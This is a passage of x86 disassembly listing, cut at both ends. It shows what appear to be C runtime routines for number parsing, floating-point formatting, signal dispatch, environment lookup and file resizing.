2Bh jz short loc_419BAE dec eax dec eax jz short loc_419BA2 sub eax, 3 jnz loc_419C56 loc_419B47: ; CODE XREF: sub_4198E0+2A4j push 8 jmp short loc_419BB0 ; --------------------------------------------------------------------------- loc_419B4B: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o mov [ebp+var_20], edx ; jumptable 00419943 case 8 loc_419B4E: ; CODE XREF: sub_4198E0+276j cmp bl, 30h jnz short loc_419B58 mov bl, [edi] inc edi jmp short loc_419B4E ; --------------------------------------------------------------------------- loc_419B58: ; CODE XREF: sub_4198E0+271j cmp bl, 31h jl loc_419C53 cmp bl, 39h jg loc_419C53 jmp short loc_419B76 ; --------------------------------------------------------------------------- loc_419B6C: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o cmp bl, 31h ; jumptable 00419943 case 7 jl short loc_419B7F cmp bl, 39h jg short loc_419B7F loc_419B76: ; CODE XREF: sub_4198E0+250j ; sub_4198E0+28Aj push 9 loc_419B78: ; CODE XREF: sub_4198E0+76j pop eax loc_419B79: ; CODE XREF: sub_4198E0+240j dec edi jmp loc_419937 ; --------------------------------------------------------------------------- loc_419B7F: ; CODE XREF: sub_4198E0+28Fj ; sub_4198E0+294j cmp bl, 30h jnz short loc_419BC8 jmp short loc_419B47 ; --------------------------------------------------------------------------- loc_419B86: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o cmp [ebp+arg_18], 0 ; jumptable 00419943 case 11 jz short loc_419BB6 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_419BAE dec eax dec eax jnz loc_419C56 loc_419BA2: ; CODE XREF: sub_4198E0+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_419937 ; --------------------------------------------------------------------------- loc_419BAE: ; CODE XREF: sub_4198E0+258j ; sub_4198E0+2B8j push 7 loc_419BB0: ; CODE XREF: sub_4198E0+85j ; sub_4198E0+103j ... pop eax jmp loc_419937 ; --------------------------------------------------------------------------- loc_419BB6: ; CODE XREF: sub_4198E0+2AAj push 0Ah dec edi pop eax loc_419BBA: ; CODE XREF: sub_4198E0+5Dj ; sub_4198E0+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00419943 case 10 jz loc_419C58 jmp loc_419937 ; --------------------------------------------------------------------------- loc_419BC8: ; CODE XREF: sub_4198E0+12Dj ; sub_4198E0+238j ... mov edi, [ebp+arg_8] jmp loc_419C58 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_4198E0+63j ; DATA XREF: seg000:off_419D81o mov [ebp+var_20], 1 ; jumptable 00419943 case 9 xor esi, esi loc_419BD9: ; CODE XREF: sub_4198E0+339j cmp ds:dword_42E39C, 1 jle short loc_419BF1 movzx eax, bl push 4 push eax call sub_413446 pop ecx pop ecx jmp short loc_419C00 ; --------------------------------------------------------------------------- loc_419BF1: ; CODE XREF: sub_4198E0+300j mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_419C00: ; CODE XREF: sub_4198E0+30Fj test eax, eax jz short loc_419C20 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_419C1B mov bl, [edi] inc edi jmp short loc_419BD9 ; --------------------------------------------------------------------------- loc_419C1B: ; CODE XREF: sub_4198E0+334j mov esi, 1451h loc_419C20: ; CODE XREF: sub_4198E0+322j mov [ebp+var_1C], esi loc_419C23: ; CODE XREF: sub_4198E0+371j cmp ds:dword_42E39C, 1 jle short loc_419C3B movzx eax, bl push 4 push eax call sub_413446 pop ecx pop ecx jmp short loc_419C4A ; --------------------------------------------------------------------------- loc_419C3B: ; CODE XREF: sub_4198E0+34Aj mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_419C4A: ; CODE XREF: sub_4198E0+359j test eax, eax jz short loc_419C53 mov bl, [edi] inc edi jmp short loc_419C23 ; --------------------------------------------------------------------------- loc_419C53: ; CODE XREF: sub_4198E0+99j ; sub_4198E0+E4j ... dec edi jmp short loc_419C58 ; --------------------------------------------------------------------------- loc_419C56: ; CODE XREF: sub_4198E0+261j ; sub_4198E0+2BCj mov edi, ecx loc_419C58: ; CODE XREF: sub_4198E0+2DDj ; sub_4198E0+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_419D40 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_419C84 cmp [ebp+var_45], 5 jl short loc_419C78 inc [ebp+var_45] loc_419C78: ; CODE XREF: sub_4198E0+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_419C87 ; --------------------------------------------------------------------------- loc_419C84: ; CODE XREF: sub_4198E0+38Dj mov eax, [ebp+var_C] loc_419C87: ; CODE XREF: sub_4198E0+3A2j cmp [ebp+var_4], 0 jbe loc_419D36 loc_419C91: ; CODE XREF: sub_4198E0+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_419C9F dec [ebp+var_4] inc [ebp+var_8] jmp short loc_419C91 ; --------------------------------------------------------------------------- loc_419C9F: ; CODE XREF: sub_4198E0+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_419819 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_419CBE neg eax loc_419CBE: ; CODE XREF: sub_4198E0+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_419CC9 add eax, [ebp+arg_10] loc_419CC9: ; CODE XREF: sub_4198E0+3E4j cmp [ebp+var_24], ecx jnz short loc_419CD1 sub eax, [ebp+arg_14] loc_419CD1: ; CODE XREF: sub_4198E0+3ECj cmp eax, 1450h jle short loc_419D08 mov [ebp+var_2C], 1 loc_419CDF: ; CODE XREF: sub_4198E0+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_419CEB: ; CODE XREF: sub_4198E0+454j ; sub_4198E0+45Ej cmp [ebp+var_2C], 0 jz short loc_419D51 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_419D66 ; --------------------------------------------------------------------------- loc_419D08: ; CODE XREF: sub_4198E0+3F6j cmp eax, 0FFFFEBB0h jge short loc_419D18 mov [ebp+var_30], 1 jmp short loc_419CDF ; --------------------------------------------------------------------------- loc_419D18: ; CODE XREF: sub_4198E0+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41A599 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_419CEB ; --------------------------------------------------------------------------- loc_419D36: ; CODE XREF: sub_4198E0+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_419CEB ; --------------------------------------------------------------------------- loc_419D40: ; CODE XREF: sub_4198E0+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_419D66 ; --------------------------------------------------------------------------- loc_419D51: ; CODE XREF: sub_4198E0+40Fj cmp [ebp+var_30], 0 jz short loc_419D66 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_419D66: ; CODE XREF: sub_4198E0+426j ; sub_4198E0+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4198E0 endp ; --------------------------------------------------------------------------- off_419D81 dd offset loc_41994A ; DATA XREF: sub_4198E0+63r dd offset loc_419999 ; jump table for switch statement dd offset loc_4199F0 dd offset loc_419A1A dd offset loc_419A75 dd offset loc_419AEC dd offset loc_419B22 dd offset loc_419B6C dd offset loc_419B4B dd offset loc_419BD0 dd offset loc_419BBA dd offset loc_419B86 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DB1 proc near ; CODE XREF: sub_4187F9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_419E13 mov byte ptr [ebx+2], 2Dh jmp short loc_419E17 ; --------------------------------------------------------------------------- loc_419E13: ; CODE XREF: sub_419DB1+5Aj mov byte ptr [ebx+2], 20h loc_419E17: ; CODE XREF: sub_419DB1+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_419E3D test edi, edi jnz short loc_419E3D cmp [ebp+arg_0], edi jnz short loc_419E3D loc_419E28: ; CODE XREF: sub_419DB1+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41A03B ; --------------------------------------------------------------------------- loc_419E3D: ; CODE XREF: sub_419DB1+6Cj ; sub_419DB1+70j ... cmp dx, si jnz short loc_419EBC mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_419E56 cmp [ebp+arg_0], 0 jz short loc_419E65 loc_419E56: ; CODE XREF: sub_419DB1+9Dj test edi, 40000000h jnz short loc_419E65 push offset a1Snan ; "1#SNAN" jmp short loc_419EAB ; --------------------------------------------------------------------------- loc_419E65: ; CODE XREF: sub_419DB1+A3j ; sub_419DB1+ABj test cx, cx jz short loc_419E7F cmp edi, 0C0000000h jnz short loc_419E7F cmp [ebp+arg_0], 0 jnz short loc_419EA6 push offset a1Ind ; "1#IND" jmp short loc_419E8E ; --------------------------------------------------------------------------- loc_419E7F: ; CODE XREF: sub_419DB1+B7j ; sub_419DB1+BFj cmp edi, eax jnz short loc_419EA6 cmp [ebp+arg_0], 0 jnz short loc_419EA6 push offset a1Inf ; "1#INF" loc_419E8E: ; CODE XREF: sub_419DB1+CCj lea eax, [ebx+4] push eax call sub_411B70 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_419E9D: ; CODE XREF: sub_419DB1+109j and [ebp+var_4], 0 jmp loc_41A014 ; --------------------------------------------------------------------------- loc_419EA6: ; CODE XREF: sub_419DB1+C5j ; sub_419DB1+D0j ... push offset a1Qnan ; "1#QNAN" loc_419EAB: ; CODE XREF: sub_419DB1+B2j lea eax, [ebx+4] push eax call sub_411B70 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_419E9D ; --------------------------------------------------------------------------- loc_419EBC: ; CODE XREF: sub_419DB1+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41A599 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_419F1D lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41A379 pop ecx pop ecx loc_419F1D: ; CODE XREF: sub_419DB1+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_419F37 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_419F3A jmp loc_419E28 ; --------------------------------------------------------------------------- loc_419F37: ; CODE XREF: sub_419DB1+173j mov edi, [ebp+arg_C] loc_419F3A: ; CODE XREF: sub_419DB1+17Fj cmp edi, 15h jle short loc_419F42 push 15h pop edi loc_419F42: ; CODE XREF: sub_419DB1+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_419F58: ; CODE XREF: sub_419DB1+1B4j lea eax, [ebp+var_10] push eax call sub_4197BE dec [ebp+arg_14] pop ecx jnz short loc_419F58 test esi, esi jge short loc_419F82 neg esi and esi, 0FFh jle short loc_419F82 loc_419F75: ; CODE XREF: sub_419DB1+1CFj lea eax, [ebp+var_10] push eax call sub_4197EC dec esi pop ecx jnz short loc_419F75 loc_419F82: ; CODE XREF: sub_419DB1+1B8j ; sub_419DB1+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_419FDF mov [ebp+arg_C], ecx loc_419F92: ; CODE XREF: sub_419DB1+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4197BE lea eax, [ebp+var_10] push eax call sub_4197BE lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_419760 lea eax, [ebp+var_10] push eax call sub_4197BE mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_419F92 mov eax, [ebp+arg_14] loc_419FDF: ; CODE XREF: sub_419DB1+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41A01C loc_419FEC: ; CODE XREF: sub_419DB1+248j cmp eax, ecx jb short loc_419FFF cmp byte ptr [eax], 39h jnz short loc_419FFB mov byte ptr [eax], 30h dec eax jmp short loc_419FEC ; --------------------------------------------------------------------------- loc_419FFB: ; CODE XREF: sub_419DB1+242j cmp eax, ecx jnb short loc_41A003 loc_419FFF: ; CODE XREF: sub_419DB1+23Dj inc eax inc word ptr [ebx] loc_41A003: ; CODE XREF: sub_419DB1+24Cj inc byte ptr [eax] loc_41A005: ; CODE XREF: sub_419DB1+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41A014: ; CODE XREF: sub_419DB1+F0j mov eax, [ebp+var_4] loc_41A017: ; CODE XREF: sub_419DB1+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A01C: ; CODE XREF: sub_419DB1+239j ; sub_419DB1+275j cmp eax, ecx jb short loc_41A02C cmp byte ptr [eax], 30h jnz short loc_41A028 dec eax jmp short loc_41A01C ; --------------------------------------------------------------------------- loc_41A028: ; CODE XREF: sub_419DB1+272j cmp eax, ecx jnb short loc_41A005 loc_41A02C: ; CODE XREF: sub_419DB1+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41A03B: ; CODE XREF: sub_419DB1+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41A017 sub_419DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A044 proc near ; CODE XREF: sub_4155EC+33EDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41A0AB dec eax dec eax jz short loc_41A09C sub eax, 4 jz short loc_41A09C sub eax, 3 jz short loc_41A09C sub eax, 4 jz short loc_41A08F sub eax, 6 jz short loc_41A082 dec eax jz short loc_41A075 or eax, 0FFFFFFFFh jmp loc_41A16D ; --------------------------------------------------------------------------- loc_41A075: ; CODE XREF: sub_41A044+27j mov esi, ds:dword_45FB1C mov eax, offset dword_45FB1C jmp short loc_41A0B6 ; --------------------------------------------------------------------------- loc_41A082: ; CODE XREF: sub_41A044+24j mov esi, ds:dword_45FB18 mov eax, offset dword_45FB18 jmp short loc_41A0B6 ; --------------------------------------------------------------------------- loc_41A08F: ; CODE XREF: sub_41A044+1Fj mov esi, ds:dword_45FB20 mov eax, offset dword_45FB20 jmp short loc_41A0B6 ; --------------------------------------------------------------------------- loc_41A09C: ; CODE XREF: sub_41A044+10j ; sub_41A044+15j ... push edi call sub_41A171 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41A0B6 ; --------------------------------------------------------------------------- loc_41A0AB: ; CODE XREF: sub_41A044+Cj mov esi, ds:dword_45FB14 mov eax, offset dword_45FB14 loc_41A0B6: ; CODE XREF: sub_41A044+3Cj ; sub_41A044+49j ... cmp esi, 1 jnz short loc_41A0C2 xor eax, eax jmp loc_41A16D ; --------------------------------------------------------------------------- loc_41A0C2: ; CODE XREF: sub_41A044+75j test esi, esi jnz short loc_41A0CD push 3 call sub_4125D8 loc_41A0CD: ; CODE XREF: sub_41A044+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41A0DF cmp edi, 0Bh jz short loc_41A0DF cmp edi, 4 jnz short loc_41A105 loc_41A0DF: ; CODE XREF: sub_41A044+8Fj ; sub_41A044+94j mov ebx, ds:dword_45F8F4 and ds:dword_45F8F4, 0 cmp edi, ecx jnz short loc_41A134 mov edx, ds:dword_42E7EC mov ds:dword_42E7EC, 8Ch mov [ebp+arg_0], edx jmp short loc_41A108 ; --------------------------------------------------------------------------- loc_41A105: ; CODE XREF: sub_41A044+99j mov ebx, [ebp+arg_0] loc_41A108: ; CODE XREF: sub_41A044+BFj cmp edi, ecx jnz short loc_41A134 mov eax, ds:dword_42E7E0 mov ecx, ds:dword_42E7E4 add ecx, eax cmp eax, ecx jge short loc_41A13B lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:42E770h[edx*4] loc_41A129: ; CODE XREF: sub_41A044+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41A129 jmp short loc_41A13B ; --------------------------------------------------------------------------- loc_41A134: ; CODE XREF: sub_41A044+AAj ; sub_41A044+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41A149 loc_41A13B: ; CODE XREF: sub_41A044+D7j ; sub_41A044+EEj push ds:dword_42E7EC push 8 call esi pop ecx pop ecx jmp short loc_41A157 ; --------------------------------------------------------------------------- loc_41A149: ; CODE XREF: sub_41A044+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41A157 cmp edi, 4 jnz short loc_41A16A loc_41A157: ; CODE XREF: sub_41A044+103j ; sub_41A044+10Cj cmp edi, 8 mov ds:dword_45F8F4, ebx jnz short loc_41A16A mov eax, [ebp+arg_0] mov ds:dword_42E7EC, eax loc_41A16A: ; CODE XREF: sub_41A044+111j ; sub_41A044+11Cj xor eax, eax pop ebx loc_41A16D: ; CODE XREF: sub_41A044+2Cj ; sub_41A044+79j pop edi pop esi pop ebp retn sub_41A044 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A171 proc near ; CODE XREF: sub_41A044+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_42E7E8 cmp ds:dword_42E76C, edx push esi mov eax, offset dword_42E768 jz short loc_41A19F lea esi, [ecx+ecx*2] lea esi, ds:42E768h[esi*4] loc_41A193: ; CODE XREF: sub_41A171+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41A19F cmp [eax+4], edx jnz short loc_41A193 loc_41A19F: ; CODE XREF: sub_41A171+16j ; sub_41A171+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:42E768h[ecx*4] cmp eax, ecx jnb short loc_41A1B3 cmp [eax+4], edx jz short locret_41A1B5 loc_41A1B3: ; CODE XREF: sub_41A171+3Bj xor eax, eax locret_41A1B5: ; CODE XREF: sub_41A171+40j retn sub_41A171 endp ; =============== S U B R O U T I N E ======================================= sub_41A1B6 proc near ; CODE XREF: seg000:00418BA5p arg_0 = dword ptr 4 cmp ds:dword_460EA8, 0 push ebx push esi mov esi, ds:dword_45F86C push edi jz short loc_41A22D test esi, esi jnz short loc_41A1E7 cmp ds:dword_45F874, esi jz short loc_41A22D call sub_41A654 test eax, eax jnz short loc_41A22D mov esi, ds:dword_45F86C test esi, esi jz short loc_41A22D loc_41A1E7: ; CODE XREF: sub_41A1B6+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41A22D push ebx call sub_410B60 pop ecx mov edi, eax loc_41A1F8: ; CODE XREF: sub_41A1B6+6Dj mov eax, [esi] test eax, eax jz short loc_41A22D push eax call sub_410B60 cmp eax, edi pop ecx jbe short loc_41A220 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41A220 push edi push ebx push eax call sub_41A615 add esp, 0Ch test eax, eax jz short loc_41A225 loc_41A220: ; CODE XREF: sub_41A1B6+51j ; sub_41A1B6+59j add esi, 4 jmp short loc_41A1F8 ; --------------------------------------------------------------------------- loc_41A225: ; CODE XREF: sub_41A1B6+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41A22F ; --------------------------------------------------------------------------- loc_41A22D: ; CODE XREF: sub_41A1B6+10j ; sub_41A1B6+1Cj ... xor eax, eax loc_41A22F: ; CODE XREF: sub_41A1B6+75j pop edi pop esi pop ebx retn sub_41A1B6 endp ; --------------------------------------------------------------------------- loc_41A233: ; CODE XREF: sub_4192E6+271p push ebp mov ebp, esp mov eax, 1000h call sub_410BE0 push ebx mov ebx, [ebp+8] push esi xor esi, esi cmp ebx, ds:dword_460C60 jnb loc_41A368 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_460B60[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41A368 push 1 push esi push ebx call sub_4169A2 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_41A372 push 2 push esi push ebx call sub_4169A2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41A372 push edi mov edi, [ebp+0Ch] sub edi, eax test edi, edi jle short loc_41A315 push 1000h lea eax, [ebp-1000h] push esi push eax call sub_410590 push 8000h push ebx call sub_41A6C2 add esp, 14h mov [ebp+0Ch], eax loc_41A2C9: ; CODE XREF: seg000:0041A2F0j mov eax, 1000h cmp edi, eax jge short loc_41A2D4 mov eax, edi loc_41A2D4: ; CODE XREF: seg000:0041A2D0j push eax lea eax, [ebp-1000h] push eax push ebx call sub_417DAC add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41A2F2 sub edi, eax test edi, edi jle short loc_41A308 jmp short loc_41A2C9 ; --------------------------------------------------------------------------- loc_41A2F2: ; CODE XREF: seg000:0041A2E8j cmp ds:dword_45F848, 5 jnz short loc_41A305 mov ds:dword_45F844, 0Dh loc_41A305: ; CODE XREF: seg000:0041A2F9j or esi, 0FFFFFFFFh loc_41A308: ; CODE XREF: seg000:0041A2EEj push dword ptr [ebp+0Ch] push ebx call sub_41A6C2 pop ecx pop ecx jmp short loc_41A355 ; --------------------------------------------------------------------------- loc_41A315: ; CODE XREF: seg000:0041A2A4j jge short loc_41A355 push 0 push dword ptr [ebp+0Ch] push ebx call sub_4169A2 push ebx call sub_419252 add esp, 10h push eax call near ptr 3D0000h adc ecx, [ebx+1BDEF7F0h] div bh fimul word ptr [esi-7Dh] ; --------------------------------------------------------------------------- dd 1575FFFEh, 0F84405C7h, 0D0045h, 15FF0000h, 41C068h dd 45F848A3h db 0 ; --------------------------------------------------------------------------- loc_41A355: ; CODE XREF: seg000:0041A313j ; seg000:loc_41A315j push 0 push dword ptr [ebp+8] push ebx call sub_4169A2 add esp, 0Ch mov eax, esi pop edi jmp short loc_41A375 ; --------------------------------------------------------------------------- loc_41A368: ; CODE XREF: seg000:0041A24Dj ; seg000:0041A269j mov ds:dword_45F844, 9 loc_41A372: ; CODE XREF: seg000:0041A281j ; seg000:0041A296j or eax, 0FFFFFFFFh loc_41A375: ; CODE XREF: seg000:0041A366j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A379 proc near ; CODE XREF: sub_419DB1+165p ; sub_41A599+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41A579 cmp cx, 7FFFh jnb loc_41A579 cmp dx, 0BFFDh ja loc_41A579 cmp dx, 3FBFh ja short loc_41A3E2 xor eax, eax jmp short loc_41A41C ; --------------------------------------------------------------------------- loc_41A3E2: ; CODE XREF: sub_41A379+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41A404 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41A404 xor eax, eax cmp [esi+4], eax jnz short loc_41A406 cmp [esi], eax jnz short loc_41A406 jmp loc_41A573 ; --------------------------------------------------------------------------- loc_41A404: ; CODE XREF: sub_41A379+71j ; sub_41A379+79j xor eax, eax loc_41A406: ; CODE XREF: sub_41A379+80j ; sub_41A379+84j cmp cx, ax jnz short loc_41A429 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41A429 cmp [ebx+4], eax jnz short loc_41A429 cmp [ebx], eax jnz short loc_41A429 loc_41A41C: ; CODE XREF: sub_41A379+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41A594 ; --------------------------------------------------------------------------- loc_41A429: ; CODE XREF: sub_41A379+90j ; sub_41A379+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41A439: ; CODE XREF: sub_41A379+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41A48D add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41A455: ; CODE XREF: sub_41A379+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41973F add esp, 0Ch test eax, eax jz short loc_41A480 mov eax, [ebp+var_4] inc word ptr [eax] loc_41A480: ; CODE XREF: sub_41A379+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41A455 loc_41A48D: ; CODE XREF: sub_41A379+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41A439 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41A4D0 loc_41A4AB: ; CODE XREF: sub_41A379+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41A4C9 lea eax, [ebp+var_24] push eax call sub_4197BE add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41A4AB loc_41A4C9: ; CODE XREF: sub_41A379+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41A509 loc_41A4D0: ; CODE XREF: sub_41A379+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41A509 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41A4E9: ; CODE XREF: sub_41A379+184j test byte ptr [ebp+var_24], 1 jz short loc_41A4F2 inc [ebp+var_14] loc_41A4F2: ; CODE XREF: sub_41A379+174j lea eax, [ebp+var_24] push eax call sub_4197EC dec ebx pop ecx jnz short loc_41A4E9 cmp [ebp+var_14], 0 jz short loc_41A509 or byte ptr [ebp+var_24], 1 loc_41A509: ; CODE XREF: sub_41A379+155j ; sub_41A379+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41A520 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41A555 loc_41A520: ; CODE XREF: sub_41A379+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41A552 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41A54D and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41A547 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41A555 ; --------------------------------------------------------------------------- loc_41A547: ; CODE XREF: sub_41A379+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41A555 ; --------------------------------------------------------------------------- loc_41A54D: ; CODE XREF: sub_41A379+1B5j inc [ebp+var_20+2] jmp short 